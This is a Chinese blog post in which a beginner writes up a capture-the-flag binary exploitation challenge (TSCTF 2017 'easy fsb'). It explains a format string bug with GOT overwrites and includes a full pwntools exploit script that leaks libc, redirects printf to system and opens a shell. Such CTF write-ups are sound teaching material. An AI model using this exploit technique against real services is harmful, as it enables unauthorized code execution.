刚刚开始学习pwn,记录一下自己学习的过程。

  今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字符串漏洞,通过找到printf的got表改为system的got表,从而让执行printf函数变成执行system函数再传入/bin/sh参数,从而让程序执行system('/bin/sh')获取shell。

  打开ida查看:

  

  程序逻辑就是执行getname()函数。

  进入getname()函数:

  

  逻辑就是往buf里面写数据然后printf出来,这里由于printf()函数直接调用了buf作为参数,所以存在格式化字符串漏洞。

  格式化字符串漏洞介绍:http://www.cnblogs.com/Ox9A82/p/5429099.html,http://blog.csdn.net/prettyday/article/details/50366608。

  本题漏洞利用方法:首先第一轮将exit函数的got表修改成main函数的地址从而让程序能够循环运行,

              接着第二轮将__libc_start_main函数在内存中的地址找出,通过给的so文件计算出system函数地址,

            第三轮将printf函数的got表更改为system函数的地址,

              最后一轮输入'/bin/sh\x00',实际是运行了system('/bin/sh'),最终拿到了shell。

  通过gdb查看,由于本题未使用保护措施,可以直接通过ida读取到地址(linux加载器分配虚拟页的一个连续的片从0x08048000开始,也就是说elf程序的默认起始地址为0x08048000,之前一直不懂为什么加载前后地址是固定的^_^¦¦¦),设置断点在存在格式化字符串漏洞的printf位置处,本题为b *0x08048629,然后r运行,输入AAAA,再通过stack 10来查看当前栈:

可以看出输入值在栈顶偏移7的位置。

可以通过pwntools中的fmtstr模块来快速生成payload,如要将exit_got表的地址改为main函数的地址:

main_addr = 0x8048648

exit_got = 0x804a024

fmtstr_payload(7,{exit_got:main_addr})

这样就生成了

这样的payload,什么意思呢:

首先,我们知道字符串存在栈中偏移为7的位置,所以这个payload首先在偏移为7的位置写下了0804a024,偏移为8的位置写着0804a025,同理到偏移为10的地址写着0804a027,其实这就是exit_got表的地址所占的4个字节,%x$hhn是将前面的字符个数作为值存入到偏移为x的地方写的地址中,比如这里%7$hhn就会把前面的字符个数作为值写入0804a024这个地址处,所以这里是把56+16存入0804a024中,把56+16+62存入0804a025中,把56+16+62+126存入0804a026中,把56+16+62+126+4存入0804a027中,这里注意:最高是255所以超过的其实是值-256存入,其实这里就是把48,86,04,08分别存入0804a024到0804a027中。

改完了,就能让程序在结束时循环到开始处,然后就是通过so文件和__libc_start_main函数的真实地址找出system函数的真实地址,通过ida可以找到__libc_start_main函数的got表地址是0804A028,它的真实地址就是0804A028地址处存着的值,可以通过构造payload:\x28\xa0\x04\x08%7$s来获得,然后根据so文件中__libc_start_main函数和system函数的间隔通过__libc_start_main函数真实地址-so文件中的__libc_start_main函数地址+so文件中的system函数地址即可得到system函数的真实地址。

第三次执行,将得到的system函数的真实地址写入printf函数的got表中,方法同第一步。

最后一次执行,运行到printf函数传参数时,实际上是给system函数传入参数,所以传入/bin/sh即可执行system('/bin/sh')从而拿到shell。

fsbpwn.py

 from pwn import *
#init
debug = 0
if debug:
io = process('./fsb')
else:
io = remote('127.0.0.1',2336) context.log_level = 'debug' if debug:
gdb.attach(pidof('fsb')[-1],open('aa'))
#-------------------------------------------------
main_addr = 0x8048648
exit_got = 0x804a024 io.recvuntil("Welcome~\n")
payload1 = fmtstr_payload(7,{exit_got:main_addr})
io.sendline(payload1) #-------------------------------------------------
libc_path = './libc-32.so'
libc = ELF(libc_path)
libc_start_main_got = 0x804A028
io.recvuntil("Welcome~\n")
io.sendline(p32(libc_start_main_got)+'%7$s')
libc_start_main = u32(io.recv(8)[4:8]) print libc_start_main
system_addr = libc_start_main - libc.symbols['__libc_start_main'] + libc.symbols['system']
print 'system_addr = ' + hex(system_addr) #-------------------------------------------------
printf_got = 0x804a014
io.recvuntil("Welcome~\n") payload2 = fmtstr_payload(7,{printf_got:system_addr})
io.sendline(payload2) #-------------------------------------------------
io.recvuntil("Welcome~\n")
io.sendline("/bin/sh") io.interactive()

pwn题目可用:socat tcp4-listen:2336,fork exec:./pwn1挂载,然后通过nc ip 2336去访问

fsb下载地址:http://files.cnblogs.com/files/lllkh/pwn1.rar

pwn学习之二的更多相关文章

  1. crawler4j 学习(二)

    crawler4j 学习(二) 实现控制器类以制定抓取的种子(seed).中间数据存储的文件夹.并发线程的数目: public class Controller { public static voi ...

  2. 从零开始学习jQuery (二) 万能的选择器

    本系列文章导航 从零开始学习jQuery (二) 万能的选择器 一.摘要 本章讲解jQuery最重要的选择器部分的知识. 有了jQuery的选择器我们几乎可以获取页面上任意的一个或一组对象, 可以明显 ...

  3. Android Animation学习(二) ApiDemos解析:基本Animators使用

    Android Animation学习(二) ApiDemos解析:基本Animatiors使用 Animator类提供了创建动画的基本结构,但是一般使用的是它的子类: ValueAnimator.O ...

  4. AspectJ基础学习之二搭建环境(转载)

    AspectJ基础学习之二搭建环境(转载) 一.下载Aspectj以及AJDT 上一章已经列出了他的官方网站,自己上去download吧.AJDT是一个eclipse插件,开发aspectj必装,他可 ...

  5. WPF的Binding学习笔记(二)

    原文: http://www.cnblogs.com/pasoraku/archive/2012/10/25/2738428.htmlWPF的Binding学习笔记(二) 上次学了点点Binding的 ...

  6. AJax 学习笔记二(onreadystatechange的作用)

    AJax 学习笔记二(onreadystatechange的作用) 当发送一个请求后,客户端无法确定什么时候会完成这个请求,所以需要用事件机制来捕获请求的状态XMLHttpRequest对象提供了on ...

  7. MyBatis学习系列二——增删改查

    目录 MyBatis学习系列一之环境搭建 MyBatis学习系列二——增删改查 MyBatis学习系列三——结合Spring 数据库的经典操作:增删改查. 在这一章我们主要说明一下简单的查询和增删改, ...

  8. MyBatis学习 之 二、SQL语句映射文件(2)增删改查、参数、缓存

    目录(?)[-] 二SQL语句映射文件2增删改查参数缓存 select insert updatedelete sql parameters 基本类型参数 Java实体类型参数 Map参数 多参数的实 ...

  9. MyBatis学习 之 二、SQL语句映射文件(1)resultMap

    目录(?)[-] 二SQL语句映射文件1resultMap resultMap idresult constructor association联合 使用select实现联合 使用resultMap实 ...

随机推荐

  1. Hibernate日志输出到SLF4J

    一,Hibernate日志问题 工程使用SLF4J,但日志文件一直没有看到Hibernate相关日志及showsql 二,Logback文件配置 修改Hibernate 日志输出指定为SLF4J,当修 ...

  2. java压缩文件或文件夹并导出

    java压缩文件或文件夹并导出 tozipUtil: package com.zhl.push.Utils; import java.io.File; import java.io.FileInput ...

  3. JGUI源码:Tip实现(14)

    tip是当鼠标放到控件上显示的提示文本,下面说下实现思路方法一: 使用hover:before,hover:after组合一个三角符号和一个圆角矩形实现,以右三角为例 .jgui-tip:after ...

  4. windows 下的 Rsync 同步

    整理一下 windows 下的 rsync 文件同步. Rsync下载地址: 链接:https://pan.baidu.com/s/1nL0Ee_u76ytWKUFMeiKDIw 提取码:52in 一 ...

  5. python学习之 getattr vs __get__ vs __getattr __ vs __getattribute__ vs __getitem__

    1. getattr.setattr.hasattr getattr比较常用,与setattr和hasattr一起出现,他们也是最容易理解的,下面是他的用法: class Profile(): nam ...

  6. PowerPoint 中插入 Latex 公式

    做 PPT 用 Latex Beamer 毕竟还是太麻烦,Beamer 毕竟还是更适合学术性的,各种定义各种公式的那种,遇到要画各种图,插入各种图片,进行错综复杂的排版就比较棘手了. 最终还是 Pow ...

  7. spark2.2.1安装、pycharm连接spark配置

    一.单机版本Spark安装 Win10下安装Spark2.2.1 1. 工具准备 JDK 8u161 with NetBeans 8.2: http://www.oracle.com/technetw ...

  8. 将base64转为图片

    void Base64StringToImage(string imgCode) { try { String inputStr = imgCode; byte[] arr = Convert.Fro ...

  9. static 关键字 静态成员变量及静态成员函数

    static类成员 类成员类似于C语言的全局变量,但是与全局变量又有所不同,例如,全局变量是可以被任何的用户代码所修改,而且全局变量破坏了对象的封装性. 使用类的 static 成员的优点 使用 st ...

  10. window10:jdk 8下载和安装步骤

    window10:jdk 8下载和安装步骤 点击链接:https://blog.csdn.net/qq_39720249/article/details/80721719